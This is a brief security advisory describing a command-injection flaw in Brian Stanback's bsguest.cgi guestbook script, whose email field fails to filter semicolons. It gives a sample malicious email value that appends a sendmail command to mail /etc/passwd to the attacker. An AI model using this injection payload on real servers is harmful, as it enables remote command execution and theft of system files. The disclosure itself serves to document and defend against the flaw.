An input validation vulnerability exists in Brian Stanback's bsguest.cgi, a script designed to coordinate guestbook submissions from website visitors.
The script fails to properly filter ';' characters from the user-supplied email address collected by the script.
As a result, maliciously-formed values for this field can cause the the script to run arbitrary shell commands with the privilege level of the web server.
Attacker enters his email address as <firstname.lastname@example.org>
'email@example.com;/usr/sbin/sendmail firstname.lastname@example.org < /etc/passwd',
server mails a confirmation letter along with the passwd file to the attacker.